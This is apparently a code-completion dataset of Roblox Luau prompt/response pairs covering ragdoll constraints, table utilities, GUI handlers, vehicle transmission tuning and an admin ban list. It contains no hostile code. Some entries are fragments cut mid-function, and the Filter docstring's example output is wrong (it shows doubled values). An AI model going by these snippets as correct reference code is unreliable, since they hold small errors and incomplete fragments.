		B1.Attachment1 = LowerTorso:FindFirstChild("LeftHipRigAttachment")

		local B2 = Instance.new("BallSocketConstraint",RightUpperLeg)
		B2.Attachment0 = RightUpperLeg:FindFirstChild("RightHipRigAttachment")
		B2.Attachment1 = LowerTorso:FindFirstChild("RightHipRigAttachment")

		local H3 = Instance.new("HingeConstraint",LowerTorso)
		H3.Attachment0 = LowerTorso:FindFirstChild("WaistRigAttachment")
		H3.Attachment1 = UpperTorso:FindFirstChild("WaistRigAttachment")

		local B3 = Instance.new("BallSocketConstraint",LeftUpperArm)
		B3.Attachment0 = LeftUpperArm:FindFirstChild("LeftShoulderRigAttachment")
		B3.Attachment1 = UpperTorso:FindFirstChild("LeftShoulderRigAttachment")

		local B4 = Instance.new("BallSocketConstraint",RightUpperArm)
		B4.Attachment0 = RightUpperArm:FindFirstChild("RightShoulderRigAttachment")
		B4.Attachment1 = UpperTorso:FindFirstChild("RightShoulderRigAttachment")

		local H3 = Instance.new("HingeConstraint",LeftLowerArm)
		H3.Attachment0 = LeftLowerArm:FindFirstChild("LeftElbowRigAttachment")
		H3.Attachment1 = LeftUpperArm:FindFirstChild("LeftElbowRigAttachment")

		local H4 = Instance.new("HingeConstraint",RightLowerArm)
		H4.Attachment0 = RightLowerArm:FindFirstChild("RightElbowRigAttachment")
		H4.Attachment1 = RightUpperArm:FindFirstChild("RightElbowRigAttachment")

		local S3 = Instance.new("SpringConstraint",LeftHand)
		S3.Damping = 0
		S3.FreeLength = 0.15
		S3.Stiffness = 1500
		S3.Attachment0 = LeftHand:FindFirstChild("LeftWristRigAttachment")
		S3.Attachment1 = LeftLowerArm:FindFirstChild("LeftWristRigAttachment")

		local S4 = Instance.new("SpringConstraint",RightHand)
		S4.Damping = 0
		S4.FreeLength = 0.15
		S4.Stiffness = 1500
		S4.Attachment0 = RightHand:FindFirstChild("RightWristRigAttachment")
		S4.Attachment1 = RightLowerArm:FindFirstChild("RightWristRigAttachment")

		local S5 = Instance.new("SpringConstraint",Head)
		S5.Damping = 10
		S5.FreeLength = 0.1
		S5.Stiffness = 1200
		S5.Attachment0 = Head:FindFirstChild("NeckRigAttachment")
		S5.Attachment1 = UpperTorso:FindFirstChild("NeckRigAttachment")
	end)
end

char = script.Parent
	script.Parent.Humanoid.Died:connect(function()
			CanCollide(char)
			MakeConstraints(char)
	end)


Prompt:
--[[ @brief Proportionally modifies all numbers in an array so the sum is 1.
     @example Normalize({1, 2, 3}) = {1/6, 2/6, 3/6};
     @param t The array to normalize.
     @return t The normalized array. This will be the same as t.
--]]

Response:
function module.Normalize(t)
	local sum = module.Sum(t);
	if sum~=0 then
		for i, v in pairs(t) do
			t[i] = v/sum;
		end
	end
	return t;
end


Prompt: --// initialize opening/closing spectate //--

Response:
script.Parent.Parent.SpectateButton.Spectate.MouseButton1Down:connect(function(click)
	if script.Parent.GuiActive.Value == false then
		script.Parent.GuiActive.Value = true
		script.Parent.Parent.ChangePlayer.Visible = true
	elseif script.Parent.GuiActive.Value == true then
		resetGui()
	end
end)


Prompt: -- ROBLOX Comment: nil value placeholder

Response:
local NIL = newproxy(true)
local mt = getmetatable(NIL)
mt.__tostring = function()
	return "nil"
end

return NIL


Prompt:
--[=[
	@within TableUtil
	@function Filter
	@param tbl table
	@param predicate (value: any, key: any, tbl: table) -> keep: boolean
	@return table

	Performs a filter operation against the given table, which can be used to
	filter out unwanted values from the table.

	For example:

	```lua
	local t = {A = 10, B = 20, C = 30}
	local t2 = TableUtil.Filter(t, function(value, key)
		return value > 15
	end)
	print(t2) --> {B = 40, C = 60}
	```
]=]

Response:
local function Filter<T>(t: { T }, predicate: (T, any, { T }) -> boolean): { T }
	assert(type(t) == "table", "First argument must be a table")
	assert(type(predicate) == "function", "Second argument must be a function")
	local newT = table.create(#t)
	if #t > 0 then
		local n = 0
		for i, v in t do
			if predicate(v, i, t) then
				n += 1
				newT[n] = v
			end
		end
	else
		for k, v in t do
			if predicate(v, k, t) then
				newT[k] = v
			end
		end
	end
	return newT
end


Prompt: -- Initialize the tool

Response:
local CollisionTool = {
	Name = 'Collision Tool';
	Color = BrickColor.new 'Really black';
}

CollisionTool.ManualText = [[Collision Tool  🛠
Lets you change whether parts collide with one another.

TIP: Press Enter to toggle collision quickly.]]


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		4.5		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--[[
	Sets the current index of the surface art.
]]

Response:
modules.setCurrentIndex = function(self)
	return function(index, offset)
		if self.isAnimating then
			return
		end

		-- Can't figure out the right way to do this - we can only calculate how much to move
		-- the frame using the images rendered within this frame, not the entire rendered indexes Frame
		local target = constants.SurfaceArtSelectorItemSize * offset

		self.updateTarget(target)
		self.targetIndex = self.formatTargetIndex(index, offset)

		task.spawn(function()
			self:setState({ offset = math.abs(offset) })
			self.isAnimating = true
			self.motor:setGoal(Otter.spring(target, { frequency = 3 }))
			task.wait(0.5)
			self.isAnimating = false
			self:setState({ selectedIndex = index, offset = 0 })
			self.motor:setGoal(Otter.instant(0))
		end)
	end
end


Prompt: --SKP_10:Create(SKP_23,TweenInfo.new(2.5 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{TintColor = Color3.new(1,1,1)}):Play()

Response:
SKP_11:AddItem(SKP_22, 3 * Hurt)
SKP_11:AddItem(SKP_23, 2.5 * Hurt)
end

SKP_20 = SKP_7.Health
end)

local SKP_24 = false

SKP_15.Variaveis.Dor.Changed:Connect(function(Valor)

end)

SKP_17.Changed:Connect(function(Valor)
	if Valor >= SKP_17.MaxValue/2 then
		SKP_12.Saturation	= ((Valor*2)/SKP_17.MaxValue) - 2
	elseif Valor < SKP_17.MaxValue/2 then
		SKP_12.Saturation = -1
	elseif Valor <= 0 then
		SKP_12.Saturation = -1
	end
end)

SKP_15.Variaveis.HitCount.Changed:Connect(function(Valor)
	if Valor >= 3 then
		SKP_4.Render:FireServer(true,"N/A")
	end
end)

SKP_16.Changed:Connect(function(Valor)
	if Valor == true then
		SKP_13.Brightness = -10
	else
		SKP_13.Brightness = 0
	end
end)

SKP_rodeath.Changed:Connect(function(Valor)
	if Valor == true then
		SKP_13.Brightness = -10
	else
		SKP_13.Brightness = 0
	end
end)

if SKP_7.health <= 0.1 then

Morto = true

SKP_7.AutoRotate = false

SKP_13.TintColor = Color3.new(1,1,1)


Prompt: -- Class

Response:
local SliderClass = {}
SliderClass.__index = SliderClass
SliderClass.__type = "Slider"

function SliderClass:__tostring()
	return SliderClass.__type
end


Prompt: -- Read the comments below to set your admin commands to your liking --

Response: local Banned = {"Put Name Here"} --Put the person you want to bans name here, or use the command ";ban [Player]"